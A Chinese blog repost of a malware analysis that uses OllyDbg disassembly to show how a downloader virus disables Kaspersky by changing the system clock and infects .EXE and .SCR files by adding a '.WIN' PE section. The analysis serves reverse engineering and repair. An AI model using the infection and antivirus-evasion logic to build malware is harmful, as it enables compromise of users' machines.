博客登录
用户名:
密 码:
注册
|
登录
忘记密码?
51cto首页
|
博客
|
论坛
|
招聘
热点文章
对江西某电信服务器的一次..
帮助
转载
:21
翻译
:1
原创
:8
溯源碟神
http://cy051799.blog.51cto.com
>
复制链接
邀请加入技术圈
加友情链接
发短消息
相册
技术圈
博客
51CTO
首页
|
技术论坛
|
短消息
博 客
我的博客
发表文章
管理博客
技术圈
创建圈子
我的圈子
寻找圈子
相 册
我的相册
上传图片
管理相册
首页
|
黑客技术文章
|
黑客
|
情感日记
|
病毒清除
|
病毒编写
|
php编程
|
asp编程
|
操做系统
|
win2000入侵检测
51CTO培训学院:五天打造软件测试工程师
Linux学习月博客大比拼
博主的更多文章>>
编程
2008-06-03 21:22:59
标签:
编程`
[
推送到技术圈
]
感染型下载者WIN.exe部分行为分析(上)
http://www.hacker.com.cn/
2008-6-2 2:17:04
黑客防线
本文涉及的问题:
1. 它是如何感染一个.EXE或.SCR文件的
2. 被感染文件被加入的代码内容及其行为
3. 基于1和2,简要说明被感染文件的修复问题
本文没有涉及的问题:
1. 该病毒如何修改注册表
2. 该病毒生成哪些病毒体文件(包括是否在磁盘根目录生成病毒副本)
3. 该病毒如何下载其他病毒
4. 该病毒感染哪些文件夹下的文件
以上这些内容,就待各位同仁去挖掘了。
样本来源:剑盟样本
http://bbs.janmeng.com/thread-675071-1-1.html
加壳情况:加UPX壳,直接用脱壳机脱壳(太懒了-_-)
脱壳后:基址13140000,入口点偏移00015570
分析方法:脱壳后OD载入看反汇编结果
病毒定性:(改节表)感染型下载者
前奏(准备工作):
创建名为wokaon的互斥对象,EnumWindows似乎是在找卡巴的窗口,找到后则先将系统年份改为1984年(7C0H),Sleep了20秒等卡巴挂掉后,再把时间改回来。这部分反汇编结果:
***************************************************************************************************
13155581 68 68561513 push 13155668 ; ASCII "wokaon"
13155586 6A 00 push 0
13155588 6A 00 push 0
1315558A E8 C508FFFF call <CreateMutex> ;Delphi封装函数
1315558F 8BD8 mov ebx, eax
13155591 E8 8609FFFF call <jmp.&KERNEL32.GetLastError>
13155596 3D B7000000 cmp eax, 0B7
1315559B 0F84 BA000000 je 1315565B
131555A1 C605 A8791513 0>mov byte ptr [131579A8], 0
131555A8 6A 00 push 0
131555AA 68 A4531513 push 131553A4
131555AF E8 800AFFFF call <jmp.&user32.EnumWindows>
131555B4 803D A8791513 0>cmp byte ptr [131579A8], 0
131555BB 75 07 jnz short 131555C4
131555BD E8 F2EAFFFF call 131540B4
131555C2 EB 44 jmp short 13155608
131555C4 68 98791513 push 13157998
131555C9 E8 5609FFFF call <jmp.&KERNEL32.GetLocalTime>
131555CE 66:8B1D 9879151>mov bx, word ptr [13157998]
131555D5 66:C705 9879151>mov word ptr [13157998], 7C0
131555DE 68 98791513 push 13157998
131555E3 E8 DC09FFFF call <jmp.&KERNEL32.SetLocalTime>
131555E8 68 204E0000 push 4E20
131555ED E8 CA64FFFF call <jmp.&KERNEL32.Sleep>
131555F2 E8 BDEAFFFF call 131540B4
131555F7 66:891D 9879151>mov word ptr [13157998], bx
131555FE 68 98791513 push 13157998
13155603 E8 BC09FFFF call <jmp.&KERNEL32.SetLocalTime>
13155608 68 10270000 push 2710
1315560D E8 AA64FFFF call <jmp.&KERNEL32.Sleep>
***************************************************************************************************
创建两个线程,一个用于植入病毒和感染文件,另一个应该是用于下载的。
***************************************************************************************************
1315561C 68 90791513 push 13157990
13155621 6A 00 push 0
13155623 6A 00 push 0
13155625 68 88481513 push offset <ThreadFun1>
1315562A 6A 00 push 0
1315562C 6A 00 push 0
1315562E E8 4908FFFF call <jmp.&KERNEL32.CreateThread>
13155633 68 94791513 push 13157994
13155638 6A 00 push 0
1315563A 6A 00 push 0
1315563C 68 14501513 push offset <ThreadFun2>
13155641 6A 00 push 0
13155643 6A 00 push 0
13155645 E8 3208FFFF call <jmp.&KERNEL32.CreateThread>
***************************************************************************************************
我比较关心感染文件的内容。感染前有判断驱动器属性,不过Delphi对此封装得太多,我看call看得眼花。所以它是哪些文件夹下的文件不感染,哪些文件夹下的文件被感染,这个我没有仔细看。
最后进入N多个call后找到对.EXE和.SCR文件进行感染的部分代码
一、病毒对.EXE和.SCR文件的PE结构进行识别并感染的部分分析
代码从13152D8C开始,先CreateFileA打开文件之后进行识别并感染。
部分进行感染的代码:
读DOS文件头,定位PE头:
***************************************************************************************************
13152E00 6A 00 push 0
13152E02 8D45 EC lea eax, dword ptr [ebp-14]
13152E05 50 push eax
13152E06 6A 40 push 40
13152E08 8D45 A8 lea eax, dword ptr [ebp-58]
13152E0B 50 push eax
13152E0C 8B45 F4 mov eax, dword ptr [ebp-C]
13152E0F 50 push eax
13152E10 E8 7F31FFFF call <jmp.&KERNEL32.ReadFile>
13152E15 66:817D A8 4D5A cmp word ptr [ebp-58], 5A4D ;MZ
13152E1B 74 11 je short 13152E2E
……………………
13152E2E 6A 00 push 0
13152E30 6A 00 push 0
13152E32 8B45 E4 mov eax, dword ptr [ebp-1C] ;算一下,ebp-1C=ebp-58+3C,在上面的ReadFile之后,这里正是e_lfanew,即到PE头的偏移
13152E35 50 push eax
13152E36 8B45 F4 mov eax, dword ptr [ebp-C]
13152E39 50 push eax
13152E3A E8 7D31FFFF call <jmp.&KERNEL32.SetFilePointer>
***************************************************************************************************
读PE头,得到节数:
***************************************************************************************************
13152E3F 6A 00 push 0
13152E41 8D45 EC lea eax, dword ptr [ebp-14]
13152E44 50 push eax
13152E45 68 F8000000 push 0F8
13152E4A 8D85 B0FEFFFF lea eax, dword ptr [ebp-150]
13152E50 50 push eax
13152E51 8B45 F4 mov eax, dword ptr [ebp-C]
13152E54 50 push eax
13152E55 E8 3A31FFFF call <jmp.&KERNEL32.ReadFile>
13152E5A 81BD B0FEFFFF 5>cmp dword ptr [ebp-150], 4550 ;"PE\0\0"
13152E64 74 11 je short 13152E77
…………………………
13152E77 33FF xor edi, edi
13152E79 33C0 xor eax, eax
13152E7B 8945 F0 mov dword ptr [ebp-10], eax
13152E7E 0FB79D B6FEFFFF movzx ebx, word ptr [ebp-14A] ; 算一下,ebp-14A=ebp-150+06,正好是IMAGE_NT_HEADERS结构中的NumberOfSections
***************************************************************************************************
循环读每一个IMAGE_SECTION_HEADER结构,对比其名字是否是.WIN,以判断是否已感染,并得到其他信息:
***************************************************************************************************
13152E85 4B dec ebx
13152E86 85DB test ebx, ebx
13152E88 7C 60 jl short 13152EEA ;最后一节已完,跳出
13152E8A 43 inc ebx
13152E8B 6A 00 push 0
13152E8D 8D45 EC lea eax, dword ptr [ebp-14]
13152E90 50 push eax
13152E91 6A 28 push 28
13152E93 56 push esi
13152E94 8B45 F4 mov eax, dword ptr [ebp-C]
13152E97 50 push eax
13152E98 E8 F730FFFF call <jmp.&KERNEL32.ReadFile>
13152E9D 8D85 84FEFFFF lea eax, dword ptr [ebp-17C]
13152EA3 8BD6 mov edx, esi
13152EA5 E8 9A12FFFF call 13144144
13152EAA 8B85 84FEFFFF mov eax, dword ptr [ebp-17C]
13152EB0 BA 90301513 mov edx, 13153090 ; ASCII ".WIN"
13152EB5 E8 7A14FFFF call <CmpString>
13152EBA 75 11 jnz short 13152ECD ; 不是.WIN节
13152EBC C745 F8 0200000>mov dword ptr [ebp-8], 2 ; 是.WIN节,已被感染过
13152EC3 E8 900BFFFF call 13143A58
13152EC8 E9 87010000 jmp 13153054 ; 跳过感染的代码
13152ECD 8B46 14 mov eax, dword ptr [esi+14] ; 不是.WIN节,直接来到这里
13152ED0 0346 10 add eax, dword ptr [esi+10]
13152ED3 3BF8 cmp edi, eax
13152ED5 73 02 jnb short 13152ED9
13152ED7 8BF8 mov edi, eax
13152ED9 8B46 0C mov eax, dword ptr [esi+C]
13152EDC 0346 08 add eax, dword ptr [esi+8]
13152EDF 3B45 F0 cmp eax, dword ptr [ebp-10]
13152EE2 76 03 jbe short 13152EE7
13152EE4 8945 F0 mov dword ptr [ebp-10], eax
13152EE7 4B dec ebx
13152EE8 ^ 75 A1 jnz short 13152E8B
***************************************************************************************************
接着向堆栈中写新的IMAGE_SECTION_HEADER,修改堆栈中之前得到的PE头和DOS头结构的相关量(如节数,入口点等),并写回原文件相应位置。
其中:
***************************************************************************************************
13152EEA BB 882D1513 mov ebx, 13152D88
13152EEF 81EB F82B1513 sub ebx, 13152BF8
***************************************************************************************************
13152BF8到13152D88的位置,保存有将被写入被感染文件的可执行代码。
***************************************************************************************************
13152F8C 8B46 0C mov eax, dword ptr [esi+C]
13152F8F 05 C5000000 add eax, 0C5
13152F94 81C0 042C1513 add eax, 13152C04
13152F9A 81E8 F82B1513 sub eax, 13152BF8
13152FA0 8985 D8FEFFFF mov dword ptr [ebp-128], eax
***************************************************************************************************
13152C04处的代码,将成为程序的入口点指向的代码。
本文出自 51CTO.COM技术博客
上一篇
ASP木马Webshell的安全防范解决办法
下一篇
编程
类别:病毒编写
┆
技术圈()
┆
阅读()
┆
评论()
┆
推送到技术圈
┆
返回首页
文章评论
发表评论
昵 称:
验证码:
点击图片可刷新验证码
博客过2级,无需填写验证码
内 容:
cy051799
博客统计信息
用户名:cy051799
文章数:30
评论数:13
访问量:10292
无忧币:
349
博客积分:
284
博客等级:
2
注册日期:2006-12-28
热门文章
windhcp.ocx和iexp10re.exe
比肩病毒查杀
中了logo1.exe
如何杀死“顽固不化”的..
浏览网页注册表被禁用
黑客从批处理入手
viking病毒查杀
那些网站可以入侵!
最新评论
[匿名]龍之心:
好文章,頂
[匿名]itahz:
写得好,感谢了
[匿名]51cto游客:
我也中老!
[匿名]是我:
你说的是我吗?我真 的好感动啊,只..
[匿名]彩虹:
你现在过的好吗 ? 快过年..
51CTO推荐博文
逛商场与SHUTDOWN
正则表达式语法讲解(一)
编程,你掌控全局了么?
Java版SLG游戏开发入门
SOAP Client构建问题解析
Symbian签名简易教程
我的JAVA学习笔记
自己写的一套通用Ajax框架
JDK工具 java命令详解
使SubSonic多个in的适..
单点登录的实现思路
友情链接
博客大管家小废 物